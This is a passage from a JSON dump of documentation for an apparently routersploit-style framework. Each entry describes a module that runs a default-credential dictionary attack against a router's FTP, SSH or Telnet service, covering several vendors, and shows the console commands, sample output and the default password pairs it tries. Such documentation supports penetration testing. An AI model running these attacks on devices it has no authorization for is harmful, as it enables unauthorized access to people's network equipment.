192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/belkin/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Belkin Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/belkin/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/belkin/ftp_default_creds\nrsf (Belkin Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Belkin Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/belkin/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Belkin Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/belkin/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/belkin/ssh_default_creds\nrsf (Belkin Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Belkin Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/belkin/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Belkin Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/belkin/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/belkin/telnet_default_creds\nrsf (Belkin Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Belkin Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/bhu/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Bhu Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/bhu/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/bhu/ftp_default_creds\nrsf (Bhu Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Bhu Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/bhu/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Bhu Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/bhu/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/bhu/ssh_default_creds\nrsf (Bhu Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Bhu Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/bhu/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Bhu Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/bhu/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/bhu/telnet_default_creds\nrsf (Bhu Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Bhu Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/billion/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Billion Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/billion/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/billion/ftp_default_creds\nrsf (Billion Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Billion Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/billion/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Billion Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/billion/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/billion/ssh_default_creds\nrsf (Billion Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Billion Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/billion/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Billion Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/billion/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/billion/telnet_default_creds\nrsf (Billion Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Billion Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/cisco/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Cisco Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/cisco/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/cisco/ftp_default_creds\nrsf (Cisco Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/cisco/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Cisco Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/cisco/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/cisco/ssh_default_creds\nrsf (Cisco Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/cisco/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Cisco Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/cisco/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/cisco/telnet_default_creds\nrsf (Cisco Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/comtrend/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Comtrend Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/comtrend/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/comtrend/ftp_default_creds\nrsf (Comtrend Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Comtrend Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/comtrend/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Comtrend Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/comtrend/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/comtrend/ssh_default_creds\nrsf (Comtrend Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Comtrend Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/comtrend/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Comtrend Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/comtrend/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/comtrend/telnet_default_creds\nrsf (Comtrend Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Comtrend Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/dlink/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against D-Link Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/dlink/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/dlink/ftp_default_creds\nrsf (D-Link Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/dlink/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against D-Link Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/dlink/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/dlink/ssh_default_creds\nrsf (D-Link Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/dlink/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against D-Link Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/dlink/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/dlink/telnet_default_creds\nrsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/fortinet/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Fortined Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/fortinet/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/fortinet/ftp_default_creds\nrsf (Fortinet Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Fortinet Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/fortinet/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Fortinet Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/fortinet/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/fortinet/ssh_default_creds\nrsf (Fortinet Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Fortinet Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/fortinet/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Fortinet Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/fortinet/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/fortinet/telnet_default_creds\nrsf (Fortinet Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Fortinet Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/huawei/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Huawei Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/huawei/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/huawei/ftp_default_creds\nrsf (Huawei Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Huawei Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/huawei/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Huawei Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/huawei/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/huawei/ssh_default_creds\nrsf (Huawei Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Huawei Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
